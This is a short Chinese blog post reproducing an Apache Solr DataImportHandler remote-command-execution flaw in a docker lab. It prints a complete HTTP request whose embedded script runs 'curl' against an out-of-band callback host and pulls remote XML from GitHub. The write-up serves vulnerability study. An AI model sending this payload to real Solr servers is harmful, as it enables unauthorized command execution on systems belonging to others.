赞
踩
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在Apache Solr的DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的DIH配置都可以通过外部请求的dataConfig参数来设置。由于DIH配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。
进入指定漏洞路径,执行命令
docker-compose up -d

执行以下代码创建test核心(不创建核心漏洞无法复现)
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

在浏览器访问http://your-ip:8983,正常访问说明靶场搭建成功

访问 /solr/admin/cores 路径,获取到name的值为:test

根据获取的core信息中name信息构造payload
POST /solr/test/dataimport HTTP/1.1 Host: your_ip User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: your_ip/solr/ Content-type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 1216 Connection: close command=full-import&verbose=false&clean=false&commit=false&debug=true&core=test&name=dataimport&dataConfig= <dataConfig> <dataSource type="URLDataSource"/> <script><![CDATA[ function poc(row){ var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("curl http://m9c5f3.ceye.io/1111").getInputStream())); var result = []; while(true) { var oneline = bufReader.readLine(); result.push( oneline ); if(!oneline) break; } row.put("title",result.join("\\n\\r")); return row; } ]]></script> <document> <entity name="entity1" url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml" processor="XPathEntityProcessor" forEach="/RDF/item" transformer="script:poc"> <field column="title" xpath="/RDF/item/title" /> </entity> </document> </dataConfig>

回显成功,说明命令执行成功,漏洞复现完成

Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。